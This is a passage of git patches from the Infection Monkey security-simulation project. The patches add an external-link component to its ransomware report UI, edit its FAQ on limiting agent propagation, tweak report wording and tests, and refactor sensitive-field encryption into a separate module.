    \ + \ + Learn about the financial impact of ransomware on Guardicore\'s blog. \ + '; + const HOSTNAME_REGEX = /^(.* - )?(\S+) :.*$/; function AttackSection(): ReactElement { From 7d9386c266328562ce2faf9b13f8f7c909f72ad1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 27 Sep 2021 14:10:26 -0400 Subject: [PATCH 249/454] UI: Add ExternalLink React element --- .../report-components/common/ExternalLink.tsx | 19 +++++++++++++++++++ .../styles/pages/report/RansomwareReport.scss | 4 ++++ 2 files changed, 23 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/common/ExternalLink.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ExternalLink.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExternalLink.tsx new file mode 100644 index 000000000..14a724bb2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExternalLink.tsx @@ -0,0 +1,19 @@ +import React, {ReactFragment, ReactElement} from 'react'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faExternalLinkSquareAlt} from '@fortawesome/free-solid-svg-icons'; + +type Props = { + url: string, + text: string, +} + +function ExternalLink(props: Props): ReactElement { + return ( + + {props.text} + + + ) +} + +export default ExternalLink diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss index 143e3f835..57eeed88d 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss @@ -22,3 +22,7 @@ .ransomware-breach-section .ip-address { display: inline-block; } + +.numbered-report-section .external-link-icon { + margin-left: .25em; +} From e67066dd0d22fe481c12832a8f9920367ba7674c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 27 Sep 2021 14:19:27 -0400 Subject: [PATCH 250/454] UI: Add external link icon to Ransomware report --- .../ransomware/AttackSection.tsx | 25 ++++++++-------- .../ransomware/BreachSection.tsx | 29 ++++++++++--------- .../ransomware/LateralMovement.tsx | 25 ++++++++-------- .../ransomware/NumberedReportSection.tsx | 8 ++--- 4 files changed, 45 insertions(+), 42 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx index 1b9f2e794..10f39e4b0 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx @@ -3,19 +3,20 @@ import IslandHttpClient from '../../IslandHttpClient'; import {FileEncryptionTable, TableRow} from './FileEncryptionTable'; import NumberedReportSection from './NumberedReportSection'; import LoadingIcon from '../../ui-components/LoadingIcon'; +import ExternalLink from '../common/ExternalLink'; -const ATTACK_DESCRIPTION = 'After the attacker or malware has propagated through your network, \ - your data is at risk on any machine the attacker can access. It can be \ - encrypted and held for ransom, exfiltrated, or manipulated in \ - whatever way the attacker chooses. \ -
    \ -
    \ - \ - Learn about the financial impact of ransomware on Guardicore\'s blog. \ - '; +const ATTACK_DESCRIPTION = <> + After the attacker or malware has propagated through your network, + your data is at risk on any machine the attacker can access. It can be + encrypted and held for ransom, exfiltrated, or manipulated in + whatever way the attacker chooses. +
    +
    + + const HOSTNAME_REGEX = /^(.* - )?(\S+) :.*$/; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx index afdddf469..fb4498e8e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx @@ -3,22 +3,23 @@ import IslandHttpClient from '../../IslandHttpClient'; import NumberedReportSection from './NumberedReportSection'; import LoadingIcon from '../../ui-components/LoadingIcon'; import {renderLimitedArray} from '../common/RenderArrays'; +import ExternalLink from '../common/ExternalLink'; + +const BREACH_DESCRIPTION = <> + Ransomware attacks start after machines in the internal network get + compromised. The initial compromise was simulated by running Monkey Agents + manually. Detecting ransomware at this stage will minimize the impact to the + organization. +
    +
    + + function BreachSection() { const [machines, setMachines] = useState(null); - let description = 'Ransomware attacks start after machines in the internal network get \ - compromised. The initial compromise was simulated by running Monkey Agents \ - manually. Detecting ransomware at this stage will minimize the impact to the \ - organization. \ -
    \ -
    \ - \ - Learn techniques for early ransomware detection on Guardicore\'s blog. \ - '; - useEffect(() => { IslandHttpClient.get('/api/exploitations/manual') @@ -27,7 +28,7 @@ function BreachSection() { if(machines !== null){ let body = getBreachSectionBody(machines); - return () + return () } else { return } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx index 0c360039d..75af68ea5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx @@ -2,19 +2,20 @@ import React, {ReactElement} from 'react'; import NumberedReportSection from './NumberedReportSection'; import pluralize from 'pluralize' import BreachedServersComponent from '../security/BreachedServers'; +import ExternalLink from '../common/ExternalLink'; -const LATERAL_MOVEMENT_DESCRIPTION = 'After the initial breach, the attacker will begin the Lateral \ - Movement phase of the attack. They will employ various \ - techniques in order to compromise other systems in your \ - network. \ -
    \ -
    \ - \ - See some real-world examples on Guardicore\'s blog. \ - '; +const LATERAL_MOVEMENT_DESCRIPTION = <> + After the initial breach, the attacker will begin the Lateral + Movement phase of the attack. They will employ various + techniques in order to compromise other systems in your + network. +
    +
    + + type PropagationStats = { num_scanned_nodes: number, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx index c0876137b..6312fd665 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx @@ -5,7 +5,7 @@ import {faInfoCircle} from '@fortawesome/free-solid-svg-icons'; type Props = { index: number, title: string, - description: string, + description: ReactFragment, body: ReactFragment } @@ -14,7 +14,7 @@ function NumberedReportSection(props: Props): ReactElement {

    - + {props.body}
    @@ -27,11 +27,11 @@ function Header({index, title}: {index: number, title: string}): ReactElement { ) } -function Description({text}: {text: string}): ReactElement { +function Description({description}: {description: ReactFragment}): ReactElement { return (
    - + {description}
    ) } From 4b0bed8267ba8995701f92bcafe9f3a19fdd285a Mon Sep 17 00:00:00 2001 From: MarketingYeti <77474444+MarketingYeti@users.noreply.github.com> Date: Mon, 27 Sep 2021 14:29:10 -0400 Subject: [PATCH 251/454] Docs: Edits to monkey propagation FAQ section --- docs/content/FAQ/_index.md | 41 +++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 0e06ef7c1..a02b5b32d 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -227,42 +227,43 @@ This is sometimes caused when Monkey Island is installed with an old version of ## Can I limit how the Infection Monkey propagates through my network? -In order to limit how the Infection Monkey is able to propagate through your -network, you can: +Yes! To limit how the Infection Monkey propagates through your network, you can: #### Adjust the scan depth The scan depth limits the number of hops that the Infection Monkey agent will -spread from patient zero. If the scan depth is set to 1, the agent will spread -only 1 hop from patient zero. Scan depth does not limit the number of devices, -just the number of hops. +spread from patient zero. If you set the scan depth to one, the agent will only +reach a single hop from the initially infected machine. Scan depth does not +limit the number of devices, just the number of hops. -- **Example**: Scan depth is set to 2. _Host A_ scans the network and finds -hosts _B, C, D_ and _E_. The Infection Monkey agent successfully propagates -from _Host A_ to _Host C_. Since the scan depth is 2, the agent will pivot from -_Host C_ and continue to scan other machines on the network. If _Host C_ -successfully breaches _Host E_, it will not pivot further and it will not -continue to scan or propagate. +- **Example**: In this example, the scan depth is set to two. _Host A_ scans the +network and finds hosts _B, C, D_ and _E_. The Infection Monkey agent +successfully propagates from _Host A_ to _Host C_. Since the scan depth is 2, +the agent will pivot from _Host C_ and continue to scan other machines on the +network. However, if _Host C_ successfully breaches _Host E_, it will not pivot +further nor continue to scan or propagate. ![What is scan depth](/images/faq/propagation_depth_diagram.png "What is scan depth") -#### Enable/disable scanning the local subnet -Settings that define how the Infection Monkey will scan the network can be -found in `Configuration -> Network`. By default each agent will scan its entire -local subnet. This behavior can be disabled by unchecking the `Local network -scan` button. +#### Enable or disable scanning the local subnet + +You can find the settings that define how the Infection Monkey will scan your +network in `Configuration -> Network`. Each agent will scan its entire local +subnet by default, but you can disable this behavior by unchecking the `Local +network scan` button. #### Add IPs to the IP allow list -The Infection Monkey agents attempt to scan any hosts that are specified in the -`Configuration -> Network -> Scan target list` section. +You can specify which hosts you want the Infection Monkey agents to attempt to +scan in the `Configuration -> Network -> Scan target list` section. #### Add IPs to the IP block list + If there are any hosts on your network that you would like to prevent the -Infection Monkey from scanning or exploiting, they can be added to list of +Infection Monkey from scanning or exploiting, you can add them to the list of "Blocked IPs" in `Configuration -> Network -> Blocked IPs`. #### Specify max number of victims to find/exploit @@ -272,7 +273,7 @@ limit the Infection Monkey's propagation: - **Max victims to find**: This limits the total number of machines that the Infection Monkey is allowed to scan. -- **Max victims to exploit**: This limits the number of machines that the +- **Max victims to exploit**: This limits the total number of machines that the Infection Monkey is allowed to successfully exploit. From 6def66cfaf2842eca4eeb1339c4f73521d2fad8d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Sep 2021 11:45:53 +0530 Subject: [PATCH 252/454] island: Move class variable `config_schema_per_attack_technique` to the top of its class `AttackTechnique` --- .../cc/services/attack/technique_reports/__init__.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 6d3186e73..7dcf7a146 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -23,6 +23,8 @@ disabled_msg = ( class AttackTechnique(object, metaclass=abc.ABCMeta): """ Abstract class for ATT&CK report components """ + config_schema_per_attack_technique = None + @property @abc.abstractmethod def unscanned_msg(self): @@ -109,8 +111,6 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ return {"message": cls.get_message_by_status(status), "status": status} - config_schema_per_attack_technique = None - @classmethod def get_message_by_status(cls, status): """ From e5b9f964472a09eee8bbf60d541dce680ed440f6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Sep 2021 11:49:13 +0530 Subject: [PATCH 253/454] island: Remove 'The' from text to be shown in report, for consistency --- .../cc/services/attack/technique_reports/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 7dcf7a146..30405dd69 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -140,7 +140,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): ): reasons = [] if len(cls.relevant_systems) == 1: - reasons.append(f"- The Monkey did not run on any {cls.relevant_systems[0]} systems.") + reasons.append(f"- Monkey did not run on any {cls.relevant_systems[0]} systems.") if cls.tech_id in config_schema_per_attack_technique: reasons.append( "- The following configuration options were disabled:
    " From cb4b845eafb0ab3a50fd739fcd261c260fbb8c56 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 28 Sep 2021 11:51:00 +0530 Subject: [PATCH 254/454] tests: Fix unit test (remove 'The'; see previous commit) --- .../services/attack/technique_reports/test_technique_reports.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py index 40a627e3c..82a23a9ae 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py @@ -64,7 +64,7 @@ class FakeAttackTechnique_OneRelevantSystem(AttackTechnique): class ExpectedMsgs_OneRelevantSystem(Enum): UNSCANNED: str = ( "UNSCANNED due to one of the following reasons:\n" - "- The Monkey did not run on any System 1 systems.\n" + "- Monkey did not run on any System 1 systems.\n" "- The following configuration options were disabled:
    " "- Definition Type 1 — Config Option 1
    " "- Definition Type 2 — Config Option 5
    " From 1160ac6af000cb8f793c0c43ebb09949d17792c1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 28 Sep 2021 10:52:54 +0300 Subject: [PATCH 255/454] Refactor dictionary and sensitive mongo field encryption by moving it to server_utils/encryption --- monkey/monkey_island/cc/models/__init__.py | 2 +- .../cc/models/report/__init__.py | 1 + .../cc/models/telemetries/telemetry_dal.py | 13 +++++++++---- .../cc/server_utils/encryption/__init__.py | 8 ++++++++ .../encryption/dict_encryption/__init__.py | 0 .../dict_encryption}/dict_encryptor.py | 8 +++++--- .../field_encryptors/__init__.py | 0 .../field_encryptors/i_field_encryptor.py | 0 .../mimikatz_results_encryptor.py | 4 +++- .../field_encryptors/string_list_encryptor.py | 4 +++- monkey/monkey_island/cc/utils/__init__.py | 1 - .../models/telemetries/test_telemetry_dal.py | 6 ++++-- ...est_report_model.py => test_report_dal.py} | 19 ++++++++++++------- .../test_string_list_encryptor.py | 4 +++- 14 files changed, 49 insertions(+), 21 deletions(-) create mode 100644 monkey/monkey_island/cc/models/report/__init__.py create mode 100644 monkey/monkey_island/cc/server_utils/encryption/dict_encryption/__init__.py rename monkey/monkey_island/cc/{utils => server_utils/encryption/dict_encryption}/dict_encryptor.py (80%) rename monkey/monkey_island/cc/{utils => server_utils/encryption/dict_encryption}/field_encryptors/__init__.py (100%) rename monkey/monkey_island/cc/{utils => server_utils/encryption/dict_encryption}/field_encryptors/i_field_encryptor.py (100%) rename monkey/monkey_island/cc/{utils => server_utils/encryption/dict_encryption}/field_encryptors/mimikatz_results_encryptor.py (91%) rename monkey/monkey_island/cc/{utils => server_utils/encryption/dict_encryption}/field_encryptors/string_list_encryptor.py (78%) delete mode 100644 monkey/monkey_island/cc/utils/__init__.py rename monkey/tests/unit_tests/monkey_island/cc/models/{test_report_model.py => test_report_dal.py} (76%) diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 3464154b5..cab95ae18 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -7,4 +7,4 @@ from .creds import Creds from .monkey import Monkey from .monkey_ttl import MonkeyTtl from .pba_results import PbaResults -from .report import Report +from monkey_island.cc.models.report.report import Report diff --git a/monkey/monkey_island/cc/models/report/__init__.py b/monkey/monkey_island/cc/models/report/__init__.py new file mode 100644 index 000000000..ba3d7d9e0 --- /dev/null +++ b/monkey/monkey_island/cc/models/report/__init__.py @@ -0,0 +1 @@ +from .report_dal import save_report, get_report diff --git a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py index 88e617725..c036c5776 100644 --- a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py +++ b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py @@ -5,8 +5,13 @@ from typing import List from monkey_island.cc.database import mongo from monkey_island.cc.models import CommandControlChannel from monkey_island.cc.models.telemetries.telemetry import Telemetry -from monkey_island.cc.utils import FieldNotFoundError, SensitiveField, dict_encryptor -from monkey_island.cc.utils.field_encryptors import MimikatzResultsEncryptor +from monkey_island.cc.server_utils.encryption import ( + FieldNotFoundError, + MimikatzResultsEncryptor, + SensitiveField, + decrypt_dict, + encrypt_dict, +) sensitive_fields = [ SensitiveField("data.credentials", MimikatzResultsEncryptor), @@ -16,7 +21,7 @@ sensitive_fields = [ def save_telemetry(telemetry_dict: dict): try: - telemetry_dict = dict_encryptor.encrypt(sensitive_fields, telemetry_dict) + telemetry_dict = encrypt_dict(sensitive_fields, telemetry_dict) except FieldNotFoundError: pass # Not all telemetries require encryption @@ -40,7 +45,7 @@ def get_telemetry_by_query(query: dict, output_fields=None) -> List[dict]: decrypted_list = [] for telemetry in telemetries: try: - decrypted_list.append(dict_encryptor.decrypt(sensitive_fields, telemetry)) + decrypted_list.append(decrypt_dict(sensitive_fields, telemetry)) except FieldNotFoundError: decrypted_list.append(telemetry) return decrypted_list diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index a41240be1..7d806139c 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -11,3 +11,11 @@ from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( get_datastore_encryptor, initialize_datastore_encryptor, ) +from .dict_encryption.dict_encryptor import ( + SensitiveField, + encrypt_dict, + decrypt_dict, + FieldNotFoundError, +) +from .dict_encryption.field_encryptors.mimikatz_results_encryptor import MimikatzResultsEncryptor +from .dict_encryption.field_encryptors.string_list_encryptor import StringListEncryptor diff --git a/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/utils/dict_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py similarity index 80% rename from monkey/monkey_island/cc/utils/dict_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py index 9a6d1d3d0..a95a761e0 100644 --- a/monkey/monkey_island/cc/utils/dict_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/dict_encryptor.py @@ -3,7 +3,9 @@ from typing import Callable, List, Type import dpath.util -from monkey_island.cc.utils.field_encryptors import IFieldEncryptor +from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( + IFieldEncryptor, +) class FieldNotFoundError(Exception): @@ -17,7 +19,7 @@ class SensitiveField: field_encryptor: Type[IFieldEncryptor] -def encrypt(sensitive_fields: List[SensitiveField], document_dict: dict) -> dict: +def encrypt_dict(sensitive_fields: List[SensitiveField], document_dict: dict) -> dict: for sensitive_field in sensitive_fields: _apply_operation_to_document_field( document_dict, sensitive_field, sensitive_field.field_encryptor.encrypt @@ -26,7 +28,7 @@ def encrypt(sensitive_fields: List[SensitiveField], document_dict: dict) -> dict return document_dict -def decrypt(sensitive_fields: List[SensitiveField], document_dict: dict) -> dict: +def decrypt_dict(sensitive_fields: List[SensitiveField], document_dict: dict) -> dict: for sensitive_field in sensitive_fields: _apply_operation_to_document_field( document_dict, sensitive_field, sensitive_field.field_encryptor.decrypt diff --git a/monkey/monkey_island/cc/utils/field_encryptors/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/__init__.py similarity index 100% rename from monkey/monkey_island/cc/utils/field_encryptors/__init__.py rename to monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/__init__.py diff --git a/monkey/monkey_island/cc/utils/field_encryptors/i_field_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/i_field_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/utils/field_encryptors/i_field_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/i_field_encryptor.py diff --git a/monkey/monkey_island/cc/utils/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py similarity index 91% rename from monkey/monkey_island/cc/utils/field_encryptors/mimikatz_results_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py index 6708ec40c..6261f5147 100644 --- a/monkey/monkey_island/cc/utils/field_encryptors/mimikatz_results_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/mimikatz_results_encryptor.py @@ -1,7 +1,9 @@ import logging from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.utils.field_encryptors import IFieldEncryptor +from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( + IFieldEncryptor, +) logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/utils/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py similarity index 78% rename from monkey/monkey_island/cc/utils/field_encryptors/string_list_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py index f939c0e22..46eef09cb 100644 --- a/monkey/monkey_island/cc/utils/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/dict_encryption/field_encryptors/string_list_encryptor.py @@ -1,7 +1,9 @@ from typing import List from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.utils.field_encryptors import IFieldEncryptor +from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( + IFieldEncryptor, +) class StringListEncryptor(IFieldEncryptor): diff --git a/monkey/monkey_island/cc/utils/__init__.py b/monkey/monkey_island/cc/utils/__init__.py deleted file mode 100644 index abe040645..000000000 --- a/monkey/monkey_island/cc/utils/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from .dict_encryptor import FieldNotFoundError, SensitiveField diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py index f25e8ffb3..d6a35760a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py @@ -6,8 +6,10 @@ import pytest from monkey_island.cc.models.telemetries import get_telemetry_by_query, save_telemetry from monkey_island.cc.models.telemetries.telemetry import Telemetry -from monkey_island.cc.utils import SensitiveField -from monkey_island.cc.utils.field_encryptors import MimikatzResultsEncryptor +from monkey_island.cc.server_utils.encryption import SensitiveField +from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( + MimikatzResultsEncryptor, +) MOCK_CREDENTIALS = { "Vakaris": { diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_dal.py similarity index 76% rename from monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py rename to monkey/tests/unit_tests/monkey_island/cc/models/test_report_dal.py index 0c8fd90de..5d3d5a49a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_dal.py @@ -4,8 +4,11 @@ from typing import List import pytest from monkey_island.cc.models import Report -from monkey_island.cc.utils import SensitiveField -from monkey_island.cc.utils.field_encryptors import IFieldEncryptor +from monkey_island.cc.models.report import get_report, save_report +from monkey_island.cc.server_utils.encryption import SensitiveField +from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( + IFieldEncryptor, +) MOCK_SENSITIVE_FIELD_CONTENTS = ["the_string", "the_string2"] MOCK_REPORT_DICT = { @@ -42,26 +45,28 @@ def patch_sensitive_fields(monkeypatch): SensitiveField("overview.foo.the_key", MockStringListEncryptor), SensitiveField("overview.bar.the_key", MockStringListEncryptor), ] - monkeypatch.setattr("monkey_island.cc.models.report.sensitive_fields", mock_sensitive_fields) + monkeypatch.setattr( + "monkey_island.cc.models.report.report_dal.sensitive_fields", mock_sensitive_fields + ) @pytest.mark.usefixtures("uses_database") def test_report_encryption(): - Report.save_report(MOCK_REPORT_DICT) + save_report(MOCK_REPORT_DICT) assert Report.objects.first()["overview"]["foo"]["the_key"] == ["ENCRYPTED_0", "ENCRYPTED_1"] assert Report.objects.first()["overview"]["bar"]["the_key"] == [] - assert Report.get_report()["overview"]["foo"]["the_key"] == MOCK_SENSITIVE_FIELD_CONTENTS + assert get_report()["overview"]["foo"]["the_key"] == MOCK_SENSITIVE_FIELD_CONTENTS @pytest.mark.usefixtures("uses_database") def test_report_dot_encoding(): mrd = copy.deepcopy(MOCK_REPORT_DICT) mrd["meta_info"] = {"foo.bar": "baz"} - Report.save_report(mrd) + save_report(mrd) assert "foo.bar" not in Report.objects.first()["meta_info"] assert "foo,,,bar" in Report.objects.first()["meta_info"] - report = Report.get_report() + report = get_report() assert "foo.bar" in report["meta_info"] diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index ac46898c0..d02ad5bbb 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -1,7 +1,9 @@ import pytest from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor -from monkey_island.cc.utils.field_encryptors import StringListEncryptor +from monkey_island.cc.server_utils.encryption.dict_encryption.field_encryptors import ( + StringListEncryptor, +) MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] From a24eb841c132aa189d769fe7c97f2ce3bf3ef1d6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 28 Sep 2021 10:58:23 +0300 Subject: [PATCH 256/454] Extract DAL interface for report model into a separate report_dal.py file --- monkey/monkey_island/cc/models/report.py | 60 ------------------- .../monkey_island/cc/models/report/report.py | 13 ++++ .../cc/models/report/report_dal.py | 52 ++++++++++++++++ .../cc/services/reporting/report.py | 7 ++- 4 files changed, 69 insertions(+), 63 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/report.py create mode 100644 monkey/monkey_island/cc/models/report/report.py create mode 100644 monkey/monkey_island/cc/models/report/report_dal.py diff --git a/monkey/monkey_island/cc/models/report.py b/monkey/monkey_island/cc/models/report.py deleted file mode 100644 index cbdde0dcb..000000000 --- a/monkey/monkey_island/cc/models/report.py +++ /dev/null @@ -1,60 +0,0 @@ -from __future__ import annotations - -from bson import json_util -from mongoengine import DictField, Document - -from monkey_island.cc.utils import SensitiveField, dict_encryptor -from monkey_island.cc.utils.field_encryptors import StringListEncryptor - -sensitive_fields = [ - SensitiveField(path="overview.config_passwords", field_encryptor=StringListEncryptor) -] - - -class Report(Document): - - overview = DictField(required=True) - glance = DictField(required=True) - recommendations = DictField(required=True) - meta_info = DictField(required=True) - - meta = {"strict": False} - - @staticmethod - def save_report(report_dict: dict): - report_dict = _encode_dot_char_before_mongo_insert(report_dict) - report_dict = dict_encryptor.encrypt(sensitive_fields, report_dict) - Report.objects.delete() - Report( - overview=report_dict["overview"], - glance=report_dict["glance"], - recommendations=report_dict["recommendations"], - meta_info=report_dict["meta_info"], - ).save() - - @staticmethod - def get_report() -> dict: - report_dict = Report.objects.first().to_mongo() - return _decode_dot_char_before_mongo_insert( - dict_encryptor.decrypt(sensitive_fields, report_dict) - ) - - -def _encode_dot_char_before_mongo_insert(report_dict): - """ - mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' - char with the unicode - ,,, combo instead. - :return: dict with formatted keys with no dots. - """ - report_as_json = json_util.dumps(report_dict).replace(".", ",,,") - return json_util.loads(report_as_json) - - -def _decode_dot_char_before_mongo_insert(report_dict): - """ - this function replaces the ',,,' combo with the '.' char instead. - :return: report dict with formatted keys (',,,' -> '.') - """ - report_as_json = json_util.dumps(report_dict).replace(",,,", ".") - return json_util.loads(report_as_json) diff --git a/monkey/monkey_island/cc/models/report/report.py b/monkey/monkey_island/cc/models/report/report.py new file mode 100644 index 000000000..8de3124e6 --- /dev/null +++ b/monkey/monkey_island/cc/models/report/report.py @@ -0,0 +1,13 @@ +from __future__ import annotations + +from mongoengine import DictField, Document + + +class Report(Document): + + overview = DictField(required=True) + glance = DictField(required=True) + recommendations = DictField(required=True) + meta_info = DictField(required=True) + + meta = {"strict": False} diff --git a/monkey/monkey_island/cc/models/report/report_dal.py b/monkey/monkey_island/cc/models/report/report_dal.py new file mode 100644 index 000000000..be7bade9e --- /dev/null +++ b/monkey/monkey_island/cc/models/report/report_dal.py @@ -0,0 +1,52 @@ +from __future__ import annotations + +from bson import json_util + +from monkey_island.cc.models.report.report import Report +from monkey_island.cc.server_utils.encryption import ( + SensitiveField, + StringListEncryptor, + decrypt_dict, + encrypt_dict, +) + +sensitive_fields = [ + SensitiveField(path="overview.config_passwords", field_encryptor=StringListEncryptor) +] + + +def save_report(report_dict: dict): + report_dict = _encode_dot_char_before_mongo_insert(report_dict) + report_dict = encrypt_dict(sensitive_fields, report_dict) + Report.objects.delete() + Report( + overview=report_dict["overview"], + glance=report_dict["glance"], + recommendations=report_dict["recommendations"], + meta_info=report_dict["meta_info"], + ).save() + + +def get_report() -> dict: + report_dict = Report.objects.first().to_mongo() + return _decode_dot_char_before_mongo_insert(decrypt_dict(sensitive_fields, report_dict)) + + +def _encode_dot_char_before_mongo_insert(report_dict): + """ + mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' 